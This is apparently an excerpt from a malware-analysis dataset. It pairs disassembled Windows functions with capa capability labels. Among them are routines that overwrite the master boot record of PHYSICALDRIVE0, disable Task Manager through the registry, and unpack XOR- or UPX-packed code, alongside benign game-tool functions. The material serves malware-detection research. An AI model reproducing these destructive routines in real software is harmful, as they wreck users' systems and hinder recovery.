joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b20
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x3a9dc
call fcn.00411a00
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call fcn.00405b30
add esp, 0xc
xor eax, eax
cmp dword [0x41dc78], 5
jl 0x401ca3
movaps xmm0, xmmword [0x41ae70]
lea ecx, [eax + 4]
movaps xmm4, xmmword [0x41ada0]
movaps xmm5, xmmword [0x41ae10]
movaps xmm6, xmmword [str._t_t_t_t]
movups xmm3, xmmword [0x41ad70]
movaps xmmword [ebp - 0x3a9d0], xmm0
mov edx, dword [ebp - 0x3a9d0]
nop word [eax + eax]
movd xmm0, eax
add eax, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm0, xmm2
psubd xmm0, xmm6
pmulld xmm0, xmm5
paddd xmm0, xmm2
vpsrlvd xmm1, xmm2, xmm0
psrld xmm1, 5
pshufb xmm2, xmm3
pshufb xmm1, xmm3
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, ecx
xorps xmm1, xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movd dword [ebp + ecx - 0x3a98c], xmm1
movaps xmm0, xmm2
psubd xmm0, xmm6
pmulld xmm0, xmm5
paddd xmm0, xmm2
vpsrlvd xmm1, xmm2, xmm0
psrld xmm1, 5
pshufb xmm2, xmm3
pshufb xmm1, xmm3
movd xmm0, edx
paddb xmm2, xmm0
xorps xmm1, xmm2
movd dword [ebp + ecx - 0x3a988], xmm1
add ecx, 8
cmp ecx, 0x3a984
jb 0x401c00
cmp eax, 0x3a980
jae 0x401cd0
imul esi, eax, 0x61
sub esi, 0x360
nop dword [eax]
mov ecx, esi
mov edx, eax
shr edx, cl
add esi, 0x61
shr edx, 5
lea ecx, [eax + 0x19]
xor dl, cl
mov byte [ebp + eax - 0x3a988], dl
inc eax
cmp eax, 0x3a980
jb 0x401cb0
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404ad6
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x402e00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c8
call fcn.00411a00
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call fcn.00405b30
add esp, 0xc
xor ecx, ecx
mov eax, ecx
mov bl, cl
shr eax, 8
mov dword [ebp - 0x3a9c4], eax
mov eax, 0xff00ff01
mov esi, dword [ebp - 0x3a9c4]
mul ecx
mov eax, 0x80808081
or esi, ecx
shr edx, 8
sub bl, dl
shr esi, 8
mul ecx
inc esi
mov eax, ecx
shr edx, 7
add dl, cl
or bl, dl
xor edx, edx
div esi
or bl, cl
movsx eax, cl
xor dl, cl
add bl, dl
mov edx, ecx
shr edx, 0xa
and dl, 0x2a
movsx edx, dl
imul edx, eax
mov eax, dword [ebp - 0x3a9c4]
and al, cl
add bl, dl
add bl, al
mov byte [ebp + ecx - 0x3a988], bl
inc ecx
cmp ecx, 0x3a980
jb 0x402e85
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ad6
mov esp, ebp
pop ebp
ret

Function at 0x4045a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4c08
call fcn.00411a00
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x2600
lea eax, [ebp - 0x4c08]
mov byte [ebp - 5], 0
push 0x417e30
push eax
call fcn.004065b0
push 0x25ff
lea eax, [ebp - 0x4c08]
push eax
lea eax, [ebp - 0x2604]
push eax
call fcn.004065b0
add esp, 0x18
mov word [ebp - 0x2406], 0xaa55
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
lea eax, [ebp - 0x2608]
push 0
push eax
push 0x2600
lea eax, [ebp - 0x2604]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00404ad6
mov esp, ebp
pop ebp
ret
Function at 0x404650
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ad6
mov esp, ebp
pop ebp
ret
Function at 0x4052dc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40531b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40531b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40531b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40531b
cmp dword [ecx + 0x74], 0xe
jbe 0x40531b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x409bf8
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4145c0
push 0x4145b8
push str.FlsAlloc
push 0x1f
call fcn.00409ab7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409c2c
push dword [ebp + 8]
mov ecx, esi
call dword [0x4131f4]
call esi
jmp 0x409c32
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409c76
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4145d0
push 0x4145c8
push str.FlsGetValue
push 0x21
call fcn.00409ab7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409cad
push dword [ebp + 8]
mov ecx, esi
call dword [0x4131f4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409cb5
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4145d8
push 0x4145d0
push str.FlsSetValue
push 0x22
call fcn.00409ab7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409cef
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4131f4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b3bc
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b459
push ebx
push esi
call fcn.0040b385
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b319
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b406
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b458
push edi
push eax
call fcn.0040bfd9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b426
call fcn.00409e77
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b457
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b319
add esp, 0x20
test eax, eax
jne 0x40b445
push edi
call fcn.00409e77
jmp 0x40b44d
push ebx
call fcn.00409e77
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x411820
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41184d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41184d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x6c3870
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x200000]
push edi
or ebp, 0xffffffff
jmp 0x6c3892
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6c3899
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3888
mov eax, 1
add ebx, ebx
jne 0x6c38ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6c38bc
jne 0x6c38db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c38db
dec eax
add ebx, ebx
jne 0x6c38c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6c38a0
add ebx, ebx
jne 0x6c38d7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6c392d
xor ecx, ecx
sub eax, 3
jb 0x6c38f3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6c3962
sar eax, 1
mov ebp, eax
jmp 0x6c38fe
add ebx, ebx
jne 0x6c38fe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c38cc
inc ecx
add ebx, ebx
jne 0x6c390c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c38cc
add ebx, ebx
jne 0x6c3919
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6c390e
jne 0x6c392a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6c390e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6c394c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6c393e
jmp 0x6c388e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6c394c
add edi, ecx
jmp 0x6c388e
pop esi
mov edi, esi
mov ecx, 0x9b98
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6c396a
cmp byte [edi], 0x19
jne 0x6c396a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6c396f
lea edi, [esi + 0x2bf000]
mov eax, dword [edi]
or eax, eax
je 0x6c39e7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2c5590]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2c56a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6c399c
mov ecx, edi
jns 0x6c39cb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2c56ac]
or eax, eax
je 0x6c39e1
mov dword [ebx], eax
add ebx, 4
jmp 0x6c39b9
call dword [esi + 0x2c56b4]
mov ebp, dword [esi + 0x2c56b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6c3a1b
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401db0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push eax
push eax
push str.Usage:_n_s___var___value__n_i_set_input_path_n_o_set_output_path_n_e_extract_only_MAP_1__DBC_2____standard:_both_3__n_f_height_stored_as_int__less_map_size_but_lost_some_accuracy__1_by_default_nExample:__s__f_0__i__c:gamesgame_
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 0xc
push 1
call dword [sym.imp.MSVCR90.dll_exit]
int3
Function at 0x402040
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40f141
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x419050]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x419050]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov esi, dword [sym.imp.MSVCR90.dll_printf]
push str.Read_AreaTable.dbc_file...
call esi
add esp, 4
push str.DBFilesClientAreaTable.dbc
lea ecx, [esp + 0x24]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x84], 0
call fcn.004011a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x80], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x3c]
call fcn.004011d0
test al, al
jne 0x4020e0
push str.Fatal_error:_Invalid_AreaTable.dbc_file_format__n
call esi
add esp, 4
push 1
call dword [sym.imp.MSVCR90.dll_exit]
mov ebx, dword [esp + 0x5c]
lea ecx, [esp + 0x3c]
call fcn.004013b0
mov esi, eax
xor ecx, ecx
lea eax, [esi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
lea ecx, [esi + esi + 2]
push ecx
push 0xff
push eax
mov dword [0x44deac], eax
call sub.MSVCR90.dll_memset
add esp, 0x10
xor esi, esi
test ebx, ebx
jbe 0x40215e
push esi
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x44]
call fcn.00401390
mov eax, dword [eax + 4]
mov edi, dword [eax + 0xc]
push esi
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x44]
call fcn.00401390
mov edx, dword [eax + 4]
mov eax, dword [edx]
mov ecx, dword [0x44deac]
inc esi
mov word [ecx + eax*2], di
cmp esi, ebx
jb 0x402126
lea ecx, [esp + 0x3c]
call fcn.004013b0
push ebx
push str.Done____u_areas_loaded__n
mov dword [0x4660b4], eax
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
lea ecx, [esp + 0x3c]
mov dword [esp + 0x80], 0xffffffff
call fcn.00401370
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040e540
mov esp, ebp
pop ebp
ret
Function at 0x4021b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40f141
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x419050]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x419050]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov esi, dword [sym.imp.MSVCR90.dll_printf]
push str.Read_LiquidType.dbc_file...
call esi
add esp, 4
push str.DBFilesClientLiquidType.dbc
lea ecx, [esp + 0x24]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x84], 0
call fcn.004011a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x80], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x3c]
call fcn.004011d0
test al, al
jne 0x402250
push str.Fatal_error:_Invalid_LiquidType.dbc_file_format__n
call esi
add esp, 4
push 1
call dword [sym.imp.MSVCR90.dll_exit]
mov ebx, dword [esp + 0x5c]
lea ecx, [esp + 0x3c]
call fcn.004013b0
mov esi, eax
xor ecx, ecx
lea eax, [esi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
lea ecx, [esi + esi + 2]
push ecx
push 0xff
push eax
mov dword [0x4660b0], eax
call sub.MSVCR90.dll_memset
add esp, 0x10
xor esi, esi
test ebx, ebx
jbe 0x4022ce
push esi
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x44]
call fcn.00401390
mov eax, dword [eax + 4]
mov edi, dword [eax + 0xc]
push esi
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x44]
call fcn.00401390
mov edx, dword [eax + 4]
mov eax, dword [edx]
mov ecx, dword [0x4660b0]
inc esi
mov word [ecx + eax*2], di
cmp esi, ebx
jb 0x402296
push ebx
push str.Done____u_LiqTypes_loaded__n
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
lea ecx, [esp + 0x3c]
mov dword [esp + 0x80], 0xffffffff
call fcn.00401370
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040e540
mov esp, ebp
pop ebp
ret
Function at 0x4038f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x24]
cmp dword [ebx + 0x18], 0x10
push esi
push edi
lea esi, [ebx + 4]
jb 0x403907
mov eax, dword [esi]
jmp 0x403909
mov eax, esi
push 0x410734
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x40393e
cmp dword [ebx + 0x18], 0x10
jb 0x403926
mov esi, dword [esi]
push esi
push 0x410710
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x18
ret
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.00401970
cmp byte [esp + 0xc], 0
jne 0x40396f
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
push edi
push ecx
add eax, edx
push 1
push eax
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x10
push edi
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
lea ecx, [esp + 0xc]
call fcn.004016e0
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x18
ret
Function at 0x403c90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40f141
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x419050]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x419050]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov esi, dword [sym.imp.MSVCR90.dll_printf]
push str.Read_Map.dbc_file...
call esi
add esp, 4
push str.DBFilesClientMap.dbc
lea ecx, [esp + 0x24]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0x20]
xor edi, edi
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x84], edi
call fcn.004011a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x80], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x3c]
call fcn.004011d0
test al, al
jne 0x403d2e
push str.Fatal_error:_Invalid_Map.dbc_file_format__n
call esi
add esp, 4
push 1
call dword [sym.imp.MSVCR90.dll_exit]
mov esi, dword [esp + 0x5c]
xor ecx, ecx
mov eax, esi
mov edx, 0x44
mul edx
seto cl
mov ebx, esi
neg ecx
or ecx, eax
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
xor esi, esi
mov dword [0x43daa4], eax
cmp ebx, edi
jbe 0x403db7
lea ebx, [ebx]
push esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x44]
call fcn.00401390
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
mov edx, dword [0x43daa4]
mov dword [edi + edx + 0x40], eax
push esi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x44]
call fcn.00401390
mov ecx, dword [eax + 4]
mov edx, dword [eax]
mov ecx, dword [ecx + 4]
mov eax, dword [edx + 0x30]
add eax, ecx
mov ecx, dword [0x43daa4]
push eax
add ecx, edi
push 0x40
push ecx
call dword [sym.imp.MSVCR90.dll_strcpy_s]
inc esi
add esp, 0xc
add edi, 0x44
cmp esi, ebx
jb 0x403d60
push ebx
push str.Done____u_maps_loaded__n
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
lea ecx, [esp + 0x3c]
mov dword [esp + 0x80], 0xffffffff
call fcn.00401370
mov eax, ebx
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040e540
mov esp, ebp
pop ebp
ret
Function at 0x406ec0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov al, byte [ebx]
push esi
push edi
mov edi, 0x7fed7fed
mov esi, 0xeeeeeeee
test al, al
je 0x406f0e
push ebp
mov ebp, dword [esp + 0x18]
lea esp, [esp]
movsx eax, al
push eax
call dword [sym.imp.MSVCR90.dll_toupper]
mov edx, esi
shl edx, 5
add edi, esi
inc ebx
lea ecx, [eax + ebp]
xor edi, dword [ecx*4 + 0x410c30]
add edx, eax
mov al, byte [ebx]
add edx, esi
add esp, 4
lea esi, [edx + edi + 3]
test al, al
jne 0x406ee0
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x406f20
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push edi
mov edi, dword [esp + 0xc]
mov eax, 0xeeeeeeee
cmp edi, 4
jb 0x406f7d
mov edx, dword [esp + 0x10]
push ebx
push esi
mov esi, dword [esp + 0x10]
shr edi, 2
lea esp, [esp]
mov ecx, edx
and ecx, 0xff
add eax, dword [ecx*4 + 0x411c30]
mov ebx, edx
not ebx
shl ebx, 0x15
lea ecx, [eax + edx]
xor ecx, dword [esi]
add ebx, 0x11111111
shr edx, 0xb
or edx, ebx
mov ebx, eax
shl ebx, 5
add ebx, ecx
mov dword [esi], ecx
add esi, 4
sub edi, 1
lea eax, [eax + ebx + 3]
jne 0x406f40
pop esi
pop ebx
xor eax, eax
pop edi
ret

Function at 0x40e540
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x419050]
jne 0x40e54a
repz ret
jmp fcn.0040eb12

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
jmp loc.00401219